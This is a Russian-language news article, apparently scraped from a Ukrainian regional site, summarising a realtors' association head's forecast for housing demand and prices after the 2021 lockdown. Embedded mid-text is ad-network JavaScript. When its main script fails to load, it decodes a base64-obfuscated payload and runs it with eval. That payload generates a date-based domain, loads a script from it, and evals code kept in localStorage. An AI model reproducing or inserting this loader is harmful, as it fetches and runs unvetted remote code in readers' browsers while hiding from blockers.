После введения жестких карантинных ограничений ситуация на рынке недвижимости претерпела значительных изменений.
Новые строгие карантинные ограничения внесли смятение и растерянность на рынке недвижимости, а количество сделок существенно снизилось. Какие последствия будет иметь новый локдаун для строителей, риелторов и инвесторов, рассказал в колонке на Экономической правде президент Ассоциации специалистов по недвижимости (риелторов) Украины Юрий Пита.
Публикуем основные тезисы.
Замедленные обороты
Новые форс-мажорные обстоятельства вызвали по меньшей мере замедление «оборотов» во всех без исключения сегментах.
Рынок жилой недвижимости один из самых весомых, учитывая базовую жизненную потребность граждан иметь собственное жилье. К тому же вложение средств в недвижимость фактически является безальтернативным способом для сохранения капитала.
Поэтому новый жесткий карантин большинством участников рынка недвижимости воспринимается исключительно как временная помеха. Рынок работает, сделки заключаются.
Единственное, что беспокоит граждан — это неопределенность со сроками нового локдауна. Однако, он отнюдь не мешает тем, кто, к примеру, хочет приобрести квартиру.
По данным Ассоциации специалистов по недвижимости (риелторов) Украины за две недели «весеннего локдауна» спрос на вторичном рынке снизился в среднем на 10% — в Киеве, Днепре, Одессе, Львове, Харькове и на 10−15% во всех других областных центрах страны.
Причем такое сокращение в подавляющем большинстве случаев не означает в дальнейшем отказ в приобретении жилья. Можно констатировать, что жесткий карантин только откладывает будущие сделки, а не отменяет их. В начале апреля речь шла в основном о 2−3 неделях отсрочки.
Однако, продление локдауна в отдельных городах побуждает к росту отложенного спроса еще на 1−2 недели. И наоборот: в таких городах, как Ивано-Франковск, который «лишился» статуса «красной зоны», рынок недвижимости активно «наверстывает» приторможенные соглашения.
Если рассуждать о всеукраинской ситуации, то рынок ожидаемо стабилизируется ближе ко второй половине мая.
Что будет после локдауна
Лучше всего для рынка во время «ковидной лихорадки» — это стабильность цен. И с самого начала весеннего локдауна особых ценовых сдвигов на рынке не произошло.
Да, спрос несколько сократился, однако это не привело к изменению ценников. Можно говорить, что с начала года, учитывая январский локдаун, рынок преимущественно находится в состоянии баланса спроса и предложения.
Стабильность положительно влияет на намерения потенциальных покупателей и арендаторов. Конечно, отмена всех или большинства ограничений, а затем — реализация отложенного спроса, может привести к ценовым колебаниям. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Вторичный рынок
В мае-июне на вторичном рынке стоит ожидать среднее увеличение стоимости жилья на 3−4%. Конечно, самый большой спрос, как и всегда, будет сконцентрирован на 1−2-комнатных квартирах в удобной или удачной локации.
Рост стоимости таких квартир может составлять от 5% (в старом жилом фонде), до 7−10% (в домах, построенных после 2000 года).
Вместе с тем, такие «планы» продавцов могут быть скорректированы не только уровнем спроса, но и стоимостью квартплаты. Рост коммунальных расходов — это предохранитель росту цен. Особенно это касается домов советской застройки.
Первичный рынок
На первичном рынке ценовая динамика будет более ощутимой — стоимость квадратного метра может вырасти в среднем на 5−6%. В последние дни некоторые столичные застройщики, которые считаются лидерами рынка, активно подчеркивают, что готовы в мае увеличить свои прайсы минимум на 5−10%.
На мой взгляд, такие «движения» стоит воспринимать через призму искусственного нагнетания ажиотажа, якобы, покупайте именно сейчас, по старым ценам.
Читайте также: Как сэкономить на налоге на недвижимость
Вместе с тем, в такой политике не учтена одна весомая особенность: покупатель доминирует, покупатель выбирает. Альтернативы достаточно. Поэтому любые спекуляции, «игра на нервах» будут только вызывать обратный эффект: покупатели будут искать квартиры в объектах по относительно приемлемым ценам.
Нежилая недвижимость
В сегменте нежилой недвижимости ценовая ситуация преимущественно останется постоянной: спрос будет расти достаточно медленно — не более 3%, а возможно ценовой рост не превысит 1−2%.
Считается, что именно сегмент нежилой недвижимости больше всех страдает от ковида. В целом это является истинным суждением, однако оно не распространяется на «фасадные» объекты в удачных локациях.
Это касается преимущественно квартир на первых этажах, переведенных в нежилой фонд, площадью 50−70 м2 или помещений на первых этажах новостроек площадью до 100 м².
На такие объекты спрос стабильно растет. Соответственно и ценовые колебания здесь будут более ощутимыми, чем в других помещениях для ритейла и офисов.
Не только оживление рынка может сказаться на ценах. На мой взгляд, главной причиной вероятного увеличения стоимости объектов недвижимости станет постоянный рост инфляции.
Однако, вряд ли потенциальные клиенты готовы к стремительному удорожанию недвижимости. Поэтому можно сделать вывод, что рынок в который раз за год будет искать ценовой баланс, с учетом ряда факторов, среди которых, при определенных обстоятельствах, доминантой станет инфляция, а не спрос. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/lokdaun-snizil-spros-na-zhile-na-10-15-chto-budet-s-tsenami-dalshe/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
